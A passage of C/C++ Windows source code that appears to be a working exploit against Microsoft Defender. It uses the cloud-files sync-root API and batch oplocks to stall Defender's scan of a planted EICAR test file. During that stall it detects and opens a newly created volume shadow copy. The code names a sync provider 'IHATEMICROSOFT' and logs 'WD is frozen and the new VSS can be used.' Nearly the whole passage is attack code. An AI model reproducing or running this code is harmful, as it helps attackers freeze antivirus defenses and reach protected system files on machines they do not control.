goto cleanup;
|
|
}
|
|
if (!upd)
|
|
{
|
|
printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
|
|
*criterr = true;
|
|
goto cleanup;
|
|
}
|
|
//printf("Update number : %d\n", i + 1);
|
|
|
|
hr = upd->get_Title(&title);
|
|
if (hr)
|
|
{
|
|
printf("IUpdateCollection->get_Title failed with error : 0x%0.X", hr);
|
|
continue;
|
|
}
|
|
if (!title)
|
|
{
|
|
printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
|
|
continue;
|
|
}
|
|
title[SysStringLen(title)] = NULL;
|
|
//printf("Title : %ws\n", title);
|
|
|
|
/*
|
|
desc = 0;
|
|
upd->get_Description(&desc);
|
|
if (!desc)
|
|
{
|
|
printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
|
|
continue;
|
|
}
|
|
desc[SysStringLen(desc)] = NULL;
|
|
printf("Description : %ws\n", desc);
|
|
*/
|
|
catcoll = 0;
|
|
hr = upd->get_Categories(&catcoll);
|
|
if (!catcoll)
|
|
{
|
|
printf("IUpdateCollection->get_Categories returned a NULL pointer.\n");
|
|
continue;
|
|
}
|
|
LONG catcount = 0;
|
|
hr = catcoll->get_Count(&catcount);
|
|
for (LONG j = 0; j < catcount; j++)
|
|
{
|
|
cat = 0;
|
|
hr = catcoll->get_Item(j, &cat);
|
|
if (!cat)
|
|
{
|
|
printf("ICategoryCollection->get_Item returned NULL pointer.\n");
|
|
continue;
|
|
}
|
|
catname = 0;
|
|
cat->get_Name(&catname);
|
|
catname[SysStringLen(catname)] = NULL;
|
|
//printf("Category name : %ws\n", catname);
|
|
if (catname)
|
|
{
|
|
if (!IsWdUdpate)
|
|
IsWdUdpate = _wcsicmp(catname, L"Microsoft Defender Antivirus") == 0;
|
|
if (!IsSigUpdate)
|
|
IsSigUpdate = _wcsicmp(catname, L"Definition Updates") == 0;
|
|
|
|
}
|
|
|
|
}
|
|
updatesfound = IsWdUdpate && IsSigUpdate;
|
|
if (updatesfound)
|
|
break;
|
|
}
|
|
|
|
if (updatesfound && updatetitle) {
|
|
memmove(updatetitle, title, lstrlenW(title) * sizeof(wchar_t));
|
|
}
|
|
|
|
cleanup:
|
|
if (updcollection)
|
|
updcollection->Release();
|
|
if (srchres)
|
|
srchres->Release();
|
|
if (updsrch)
|
|
updsrch->Release();
|
|
if (updsess)
|
|
updsess->Release();
|
|
if (upd)
|
|
upd->Release();
|
|
CoUninitialize();
|
|
|
|
|
|
return updatesfound;
|
|
}
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// WD definition update functions end
|
|
/////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Volume shadow copy functions
|
|
/////////////////////////////////////////////////////////////////////
|
|
|
|
void rev(char* s) {
|
|
|
|
// Initialize l and r pointers
|
|
int l = 0;
|
|
int r = strlen(s) - 1;
|
|
char t;
|
|
|
|
// Swap characters till l and r meet
|
|
while (l < r) {
|
|
|
|
// Swap characters
|
|
t = s[l];
|
|
s[l] = s[r];
|
|
s[r] = t;
|
|
|
|
// Move pointers towards each other
|
|
l++;
|
|
r--;
|
|
}
|
|
}
|
|
|
|
void DestroyVSSNamesList(LLShadowVolumeNames* First)
|
|
{
|
|
while (First)
|
|
{
|
|
free(First->name);
|
|
LLShadowVolumeNames* next = First->next;
|
|
free(First);
|
|
First = next;
|
|
}
|
|
}
|
|
|
|
LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode)
|
|
{
|
|
|
|
|
|
if (!criticalerr || !vscnumber || !errorcode)
|
|
return NULL;
|
|
|
|
*vscnumber = 0;
|
|
ULONG scanctx = 0;
|
|
ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
|
|
ULONG retsz = 0;
|
|
OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
|
|
if (!objdirinfo)
|
|
{
|
|
printf("Failed to allocate required buffer to query object manager directory.\n");
|
|
*criticalerr = true;
|
|
*errorcode = ERROR_NOT_ENOUGH_MEMORY;
|
|
return NULL;
|
|
}
|
|
ZeroMemory(objdirinfo, reqsz);
|
|
NTSTATUS stat = STATUS_SUCCESS;
|
|
do
|
|
{
|
|
stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz);
|
|
if (stat == STATUS_SUCCESS)
|
|
break;
|
|
else if (stat != STATUS_MORE_ENTRIES)
|
|
{
|
|
printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
|
|
*criticalerr = true;
|
|
*errorcode = RtlNtStatusToDosError(stat);
|
|
return NULL;
|
|
}
|
|
|
|
free(objdirinfo);
|
|
reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
|
|
objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
|
|
if (!objdirinfo)
|
|
{
|
|
printf("Failed to allocate required buffer to query object manager directory.\n");
|
|
*criticalerr = true;
|
|
*errorcode = ERROR_NOT_ENOUGH_MEMORY;
|
|
return NULL;
|
|
}
|
|
ZeroMemory(objdirinfo, reqsz);
|
|
} while (1);
|
|
void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
|
|
ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
|
|
LLShadowVolumeNames* LLVSScurrent = NULL;
|
|
LLShadowVolumeNames* LLVSSfirst = NULL;
|
|
for (ULONG i = 0; i < ULONG_MAX; i++)
|
|
{
|
|
if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
|
|
{
|
|
free(emptybuff);
|
|
break;
|
|
}
|
|
if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
|
|
{
|
|
wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
|
|
if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
|
|
{
|
|
if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
|
|
{
|
|
(*vscnumber)++;
|
|
if (LLVSScurrent)
|
|
{
|
|
LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
|
|
if (!LLVSScurrent->next)
|
|
{
|
|
printf("Failed to allocate memory.\n");
|
|
*criticalerr = true;
|
|
*errorcode = ERROR_NOT_ENOUGH_MEMORY;
|
|
DestroyVSSNamesList(LLVSSfirst);
|
|
free(objdirinfo);
|
|
return NULL;
|
|
}
|
|
ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames));
|
|
LLVSScurrent = LLVSScurrent->next;
|
|
LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
|
|
if (!LLVSScurrent->name)
|
|
{
|
|
printf("Failed to allocate memory !!!\n");
|
|
*errorcode = ERROR_NOT_ENOUGH_MEMORY;
|
|
*criticalerr = true;
|
|
DestroyVSSNamesList(LLVSSfirst);
|
|
free(objdirinfo);
|
|
return NULL;
|
|
}
|
|
ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
|
|
memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
|
|
}
|
|
else
|
|
{
|
|
LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
|
|
if (!LLVSSfirst)
|
|
{
|
|
printf("Failed to allocate memory.\n");
|
|
*errorcode = ERROR_NOT_ENOUGH_MEMORY;
|
|
*criticalerr = true;
|
|
DestroyVSSNamesList(LLVSSfirst);
|
|
free(objdirinfo);
|
|
return NULL;
|
|
}
|
|
ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames));
|
|
LLVSScurrent = LLVSSfirst;
|
|
LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
|
|
if (!LLVSScurrent->name)
|
|
{
|
|
printf("Failed to allocate memory !!!\n");
|
|
*errorcode = ERROR_NOT_ENOUGH_MEMORY;
|
|
*criticalerr = true;
|
|
DestroyVSSNamesList(LLVSSfirst);
|
|
free(objdirinfo);
|
|
return NULL;
|
|
}
|
|
ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
|
|
memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
|
|
|
|
}
|
|
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
}
|
|
free(objdirinfo);
|
|
return LLVSSfirst;
|
|
}
|
|
|
|
DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath)
|
|
{
|
|
|
|
wchar_t devicepath[] = L"\\Device";
|
|
UNICODE_STRING udevpath = { 0 };
|
|
RtlInitUnicodeString(&udevpath, devicepath);
|
|
OBJECT_ATTRIBUTES objattr = { 0 };
|
|
InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
NTSTATUS stat = STATUS_SUCCESS;
|
|
HANDLE hobjdir = NULL;
|
|
DWORD retval = ERROR_SUCCESS;
|
|
wchar_t newvsspath[MAX_PATH] = { 0 };
|
|
wcscpy(newvsspath, L"\\Device\\");
|
|
bool criterr = false;
|
|
int vscnum = 0;
|
|
bool restartscan = false;
|
|
ULONG scanctx = 0;
|
|
ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
|
|
ULONG retsz = 0;
|
|
OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL;
|
|
bool srchfound = false;
|
|
wchar_t vsswinpath[MAX_PATH] = { 0 };
|
|
UNICODE_STRING _vsswinpath = { 0 };
|
|
|
|
OBJECT_ATTRIBUTES objattr2 = { 0 };
|
|
IO_STATUS_BLOCK iostat = { 0 };
|
|
HANDLE hlk = NULL;
|
|
LLShadowVolumeNames* vsinitial = NULL;
|
|
|
|
stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr);
|
|
if (stat)
|
|
{
|
|
printf("Failed to open object manager directory, error : 0x%0.8X", stat);
|
|
retval = RtlNtStatusToDosError(stat);
|
|
return retval;
|
|
}
|
|
void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
|
|
if (!emptybuff)
|
|
{
|
|
printf("Failed to allocate memory !!!");
|
|
retval = ERROR_NOT_ENOUGH_MEMORY;
|
|
goto cleanup;
|
|
}
|
|
ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
|
|
|
|
|
|
vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum,&retval);
|
|
|
|
if (criterr)
|
|
{
|
|
printf("Unexpected error while listing current volume shadow copy volumes\n");
|
|
goto cleanup;
|
|
}
|
|
if (!vsinitial)
|
|
{
|
|
printf("No volume shadow copies were found.\n");
|
|
}
|
|
else
|
|
{
|
|
printf("Found %d volume shadow copies\n", vscnum);
|
|
}
|
|
|
|
|
|
|
|
stat = STATUS_SUCCESS;
|
|
|
|
scanagain:
|
|
do
|
|
{
|
|
if (objdirinfo)
|
|
free(objdirinfo);
|
|
objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
|
|
if (!objdirinfo)
|
|
{
|
|
printf("Failed to allocate required buffer to query object manager directory.\n");
|
|
retval = ERROR_NOT_ENOUGH_MEMORY;
|
|
goto cleanup;
|
|
}
|
|
ZeroMemory(objdirinfo, reqsz);
|
|
|
|
scanctx = 0;
|
|
stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz);
|
|
if (stat == STATUS_SUCCESS)
|
|
break;
|
|
else if (stat != STATUS_MORE_ENTRIES)
|
|
{
|
|
printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
|
|
retval = RtlNtStatusToDosError(stat);
|
|
goto cleanup;
|
|
}
|
|
reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
|
|
} while (1);
|
|
|
|
|
|
|
|
for (ULONG i = 0; i < ULONG_MAX; i++)
|
|
{
|
|
if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
|
|
{
|
|
break;
|
|
}
|
|
if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
|
|
{
|
|
wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
|
|
if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
|
|
{
|
|
if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
|
|
{
|
|
// check against the list if there this is a unique VS Copy
|
|
LLShadowVolumeNames* current = vsinitial;
|
|
bool found = false;
|
|
while (current)
|
|
{
|
|
if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0)
|
|
{
|
|
found = true;
|
|
break;
|
|
}
|
|
current = current->next;
|
|
}
|
|
if (found)
|
|
continue;
|
|
else
|
|
{
|
|
srchfound = true;
|
|
wcscat(newvsspath, objdirinfo[i].Name.Buffer);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if (!srchfound) {
|
|
restartscan = true;
|
|
goto scanagain;
|
|
}
|
|
if (objdirinfo) {
|
|
free(objdirinfo);
|
|
objdirinfo = NULL;
|
|
}
|
|
NtClose(hobjdir);
|
|
hobjdir = NULL;
|
|
|
|
|
|
|
|
printf("New volume shadow copy detected : %ws\n", newvsspath);
|
|
|
|
|
|
wcscpy(vsswinpath, newvsspath);
|
|
wcscat(vsswinpath, L"\\Windows");
|
|
RtlInitUnicodeString(&_vsswinpath, vsswinpath);
|
|
InitializeObjectAttributes(&objattr2, &_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
retry:
|
|
stat = NtCreateFile(&hlk, FILE_READ_ATTRIBUTES, &objattr2, &iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL);
|
|
if (stat == STATUS_NO_SUCH_DEVICE)
|
|
goto retry;
|
|
if (stat)
|
|
{
|
|
printf("Failed to open volume shadow copy, error : 0x%0.8X\n", stat);
|
|
retval = RtlNtStatusToDosError(stat);
|
|
goto cleanup;
|
|
|
|
|
|
}
|
|
printf("Successfully accessed volume shadow copy.\n");
|
|
CloseHandle(hlk);
|
|
if (fullvsspath)
|
|
wcscpy((wchar_t*)fullvsspath, newvsspath);
|
|
|
|
|
|
cleanup:
|
|
if (hobjdir)
|
|
NtClose(hobjdir);
|
|
if (emptybuff)
|
|
free(emptybuff);
|
|
if (vsinitial)
|
|
DestroyVSSNamesList(vsinitial);
|
|
|
|
return retval;
|
|
}
|
|
|
|
DWORD GetWDPID()
|
|
{
|
|
static DWORD retval = 0;
|
|
if (retval)
|
|
return retval;
|
|
|
|
SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
|
|
if (!scmgr)
|
|
return 0;
|
|
SC_HANDLE hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS);
|
|
CloseServiceHandle(scmgr);
|
|
if (!hsvc)
|
|
return 0;
|
|
|
|
|
|
SERVICE_STATUS_PROCESS ssp = { 0 };
|
|
DWORD reqsz = sizeof(ssp);
|
|
bool res = QueryServiceStatusEx(hsvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, reqsz, &reqsz);
|
|
CloseServiceHandle(hsvc);
|
|
if (!res)
|
|
return 0;
|
|
retval = ssp.dwProcessId;
|
|
return retval;
|
|
|
|
}
|
|
|
|
void CfCallbackFetchPlaceHolders(
|
|
_In_ CONST CF_CALLBACK_INFO* CallbackInfo,
|
|
_In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters
|
|
) {
|
|
|
|
printf("CfCallbackFetchPlaceHolders triggered !\n");
|
|
|
|
CF_PROCESS_INFO* cpi = CallbackInfo->ProcessInfo;
|
|
wchar_t* procname = PathFindFileName(cpi->ImagePath);
|
|
printf("Directory query from %ws\n", procname);
|
|
if (GetWDPID() == cpi->ProcessId)
|
|
{
|
|
cldcallbackctx* ctx = (cldcallbackctx*)CallbackInfo->CallbackContext;
|
|
SetEvent(ctx->hnotifywdaccess);;
|
|
|
|
printf("Defender flagged.\n");
|
|
CF_OPERATION_INFO cfopinfo = { 0 };
|
|
cfopinfo.StructSize = sizeof(CF_OPERATION_INFO);
|
|
cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
|
|
cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey;
|
|
cfopinfo.TransferKey = CallbackInfo->TransferKey;
|
|
cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector;
|
|
cfopinfo.RequestKey = CallbackInfo->RequestKey;
|
|
//STATUS_CLOUD_FILE_REQUEST_TIMEOUT
|
|
SYSTEMTIME systime = { 0 };
|
|
FILETIME filetime = { 0 };
|
|
GetSystemTime(&systime);
|
|
SystemTimeToFileTime(&systime, &filetime);
|
|
|
|
FILE_BASIC_INFO filebasicinfo = { 0 };
|
|
filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
|
|
CF_FS_METADATA fsmetadata = { filebasicinfo, {0x1000} };
|
|
CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };
|
|
GUID uid = { 0 };
|
|
RPC_WSTR wuid = { 0 };
|
|
UuidCreate(&uid);
|
|
UuidToStringW(&uid, &wuid);
|
|
wchar_t* wuid2 = (wchar_t*)wuid;
|
|
placeholder[0].RelativeFileName = ctx->filename;
|
|
|
|
placeholder[0].FsMetadata = fsmetadata;
|
|
|
|
UuidCreate(&uid);
|
|
UuidToStringW(&uid, &wuid);
|
|
wuid2 = (wchar_t*)wuid;
|
|
placeholder[0].FileIdentity = wuid2;
|
|
placeholder[0].FileIdentityLength = lstrlenW(wuid2) * sizeof(wchar_t);
|
|
placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE;
|
|
|
|
|
|
CF_OPERATION_PARAMETERS cfopparams = { 0 };
|
|
cfopparams.ParamSize = sizeof(cfopparams);
|
|
cfopparams.TransferPlaceholders.PlaceholderCount = 1;
|
|
cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 1;
|
|
cfopparams.TransferPlaceholders.EntriesProcessed = 0;
|
|
cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE;
|
|
cfopparams.TransferPlaceholders.PlaceholderArray = placeholder;
|
|
|
|
WaitForSingleObject(ctx->hnotifylockcreated, INFINITE);
|
|
HRESULT hs = CfExecute(&cfopinfo, &cfopparams);
|
|
printf("CfExecute returned : 0x%0.8X\n", hs);
|
|
return;
|
|
}
|
|
CF_OPERATION_INFO cfopinfo = { 0 };
|
|
cfopinfo.StructSize = sizeof(CF_OPERATION_INFO);
|
|
cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
|
|
cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey;
|
|
cfopinfo.TransferKey = CallbackInfo->TransferKey;
|
|
cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector;
|
|
cfopinfo.RequestKey = CallbackInfo->RequestKey;
|
|
CF_OPERATION_PARAMETERS cfopparams = { 0 };
|
|
cfopparams.ParamSize = sizeof(cfopparams);
|
|
cfopparams.TransferPlaceholders.PlaceholderCount = 0;
|
|
cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 0;
|
|
cfopparams.TransferPlaceholders.EntriesProcessed = 0;
|
|
cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE;
|
|
cfopparams.TransferPlaceholders.PlaceholderArray = { 0 };
|
|
HRESULT hs = CfExecute(&cfopinfo, &cfopparams);
|
|
printf("CfExecute : 0x%0.8X\n", hs);
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
DWORD WINAPI FreezeVSS(void* arg)
|
|
{
|
|
cloudworkerthreadargs* args = (cloudworkerthreadargs*)arg;
|
|
if (!args)
|
|
return ERROR_BAD_ARGUMENTS;
|
|
|
|
HANDLE hlock = NULL;
|
|
HRESULT hs;
|
|
CF_SYNC_REGISTRATION cfreg = { 0 };
|
|
cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);
|
|
cfreg.ProviderName = L"IHATEMICROSOFT";
|
|
cfreg.ProviderVersion = L"1.0";
|
|
CF_SYNC_POLICIES syncpolicy = { 0 };
|
|
syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);
|
|
syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;
|
|
syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
|
|
syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED;
|
|
syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
|
|
syncpolicy.InSync = CF_INSYNC_POLICY_NONE;
|
|
CF_CALLBACK_REGISTRATION callbackreg[2];
|
|
callbackreg[0] = { CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CfCallbackFetchPlaceHolders };
|
|
callbackreg[1] = { CF_CALLBACK_TYPE_NONE, NULL };
|
|
CF_CONNECTION_KEY cfkey = { 0 };
|
|
OVERLAPPED ovd = { 0 };
|
|
DWORD nwf = 0;
|
|
//wchar_t syncroot[] = L"C:\\temp";
|
|
wchar_t syncroot[MAX_PATH] = { 0 };
|
|
GetModuleFileName(GetModuleHandle(NULL), syncroot, MAX_PATH);
|
|
*(PathFindFileName(syncroot) - 1) = L'\0';
|
|
DWORD retval = STATUS_SUCCESS;
|
|
wchar_t lockfile[MAX_PATH];
|
|
wcscpy(lockfile, syncroot);
|
|
wcscat(lockfile, L"\\");
|
|
GUID uid = { 0 };
|
|
RPC_WSTR wuid = { 0 };
|
|
UuidCreate(&uid);
|
|
UuidToStringW(&uid, &wuid);
|
|
wchar_t* wuid2 = (wchar_t*)wuid;
|
|
wcscat(lockfile, wuid2);
|
|
wcscat(lockfile, L".lock");
|
|
cldcallbackctx callbackctx = { 0 };
|
|
bool syncrootregistered = false;
|
|
callbackctx.hnotifywdaccess = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
callbackctx.hnotifylockcreated = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
if (!callbackctx.hnotifylockcreated || !callbackctx.hnotifywdaccess)
|
|
{
|
|
printf("Failed to create event, error : %d", GetLastError());
|
|
retval = GetLastError();
|
|
goto cleanup;
|
|
}
|
|
wcscpy(callbackctx.filename, wuid2);
|
|
wcscat(callbackctx.filename, L".lock");
|
|
hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
|
if (!hlock || hlock == INVALID_HANDLE_VALUE)
|
|
{
|
|
printf("Failed to create lock file %ws error : %d", lockfile, GetLastError());
|
|
retval = GetLastError();
|
|
goto cleanup;
|
|
}
|
|
|
|
|
|
//CreateDirectory(syncroot, NULL);
|
|
hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_NONE);
|
|
if (hs)
|
|
{
|
|
printf("Failed to register syncroot, hr = 0x%0.8X\n", hs);
|
|
retval = ERROR_UNIDENTIFIED_ERROR;
|
|
goto cleanup;
|
|
}
|
|
syncrootregistered = true;
|
|
hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey);
|
|
if (hs)
|
|
{
|
|
printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs);
|
|
retval = ERROR_UNIDENTIFIED_ERROR;
|
|
goto cleanup;
|
|
}
|
|
if (args->hlock) {
|
|
CloseHandle(args->hlock);
|
|
args->hlock = NULL;
|
|
}
|
|
|
|
printf("Waiting for callback...\n");
|
|
|
|
WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE);
|
|
|
|
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
if (!ovd.hEvent)
|
|
{
|
|
printf("Failed to create event, error : %d\n", GetLastError());
|
|
retval = GetLastError();
|
|
goto cleanup;
|
|
}
|
|
DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
|
|
|
|
if (GetLastError() != ERROR_IO_PENDING)
|
|
{
|
|
printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
|
|
retval = GetLastError();
|
|
goto cleanup;
|
|
}
|
|
SetEvent(callbackctx.hnotifylockcreated);
|
|
|
|
printf("Waiting for oplock to trigger...\n");
|
|
|
|
GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
|
|
|
|
printf("WD is frozen and the new VSS can be used.\n");
|
|
|
|
SetEvent(args->hvssready);
|
|
|
|
WaitForSingleObject(args->hcleanupevent, INFINITE);
|
|
|
|
|
|
|
|
cleanup:
|
|
|
|
if (hlock)
|
|
CloseHandle(hlock);
|
|
if (callbackctx.hnotifylockcreated)
|
|
CloseHandle(callbackctx.hnotifylockcreated);
|
|
if (callbackctx.hnotifywdaccess)
|
|
CloseHandle(callbackctx.hnotifywdaccess);
|
|
if (ovd.hEvent)
|
|
CloseHandle(ovd.hEvent);
|
|
|
|
if (syncrootregistered)
|
|
{
|
|
CfDisconnectSyncRoot(cfkey);
|
|
CfUnregisterSyncRoot(syncroot);
|
|
}
|
|
|
|
|
|
return retval;
|
|
|
|
}
|
|
|
|
|
|
bool TriggerWDForVS(HANDLE hreleaseevent,wchar_t* fullvsspath)
|
|
{
|
|
GUID uid = { 0 };
|
|
RPC_WSTR wuid = { 0 };
|
|
UuidCreate(&uid);
|
|
UuidToStringW(&uid, &wuid);
|
|
wchar_t* wuid2 = (wchar_t*)wuid;
|
|
|
|
wchar_t workdir[MAX_PATH] = { 0 };
|
|
ExpandEnvironmentStrings(L"%TEMP%\\", workdir, MAX_PATH);
|
|
wcscat(workdir, wuid2);
|
|
wchar_t eicarfilepath[MAX_PATH] = { 0 };
|
|
wcscpy(eicarfilepath,workdir);
|
|
wcscat(eicarfilepath,L"\\foo.exe");
|
|
|
|
HANDLE hlock = NULL;
|
|
wchar_t rstmgr[MAX_PATH] = { 0 };
|
|
ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH);
|
|
OVERLAPPED ovd = { 0 };
|
|
char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";
|
|
rev(eicar);
|
|
DWORD nwf = 0;
|
|
cloudworkerthreadargs cldthreadargs = { 0 };
|
|
DWORD tid = 0;
|
|
HANDLE hthread = NULL;
|
|
bool dircreated = false;
|
|
bool retval = true;
|
|
HANDLE hfile = NULL;
|
|
HANDLE trigger = NULL;
|
|
HANDLE hthread2 = NULL;
|
|
HANDLE hobj[2] = { 0 };
|
|
DWORD exitcode = STATUS_SUCCESS;
|
|
DWORD waitres = 0;
|
|
hthread = CreateThread(NULL, NULL, ShadowCopyFinderThread, (void*)fullvsspath, NULL, &tid);
|
|
if (!hthread)
|
|
{
|
|
printf("Failed to create worker thread, error : %d", GetLastError());
|
|
retval = false;
|
|
goto cleanup;
|
|
}
|
|
|
|
dircreated = CreateDirectory(workdir, NULL);
|
|
if (!dircreated)
|
|
{
|
|
printf("Failed to create working directory, error : %d\n",GetLastError());
|
|
retval = false;
|
|
goto cleanup;
|
|
}
|
|
|
|
hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
|
if (!hfile || hfile == INVALID_HANDLE_VALUE)
|
|
{
|
|
printf("Failed to create eicar test file, error : %d\n", GetLastError());
|
|
retval = false;
|
|
goto cleanup;
|
|
}
|
|
|
|
|
|
|
|
if (!WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL))
|
|
{
|
|
printf("Failed to write eicar test file, error : %d\n", GetLastError());
|
|
retval = false;
|
|
goto cleanup;
|
|
}
|
|
|
|
|
|
hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
|
|
if (!hlock || hlock == INVALID_HANDLE_VALUE)
|
|
{
|
|
printf("Failed to open restart manager dll for exclusive access, error : %d\nTry again later.\n", GetLastError());
|
|
retval = false;
|
|
goto cleanup;
|
|
}
|
|
|
|
|
|
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
if (!ovd.hEvent)
|
|
{
|
|
printf("Failed to create event object with error : %d !!!!\n", GetLastError());
|
|
retval = false;
|
|
goto cleanup;
|
|
}
|
|
|
|
SetLastError(ERROR_SUCCESS);
|
|
DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
|
|
|
|
if (GetLastError() != ERROR_IO_PENDING)
|
|
{
|
|
printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
|
|
retval = false;
|
|
goto cleanup;
|
|
}
|
|
|
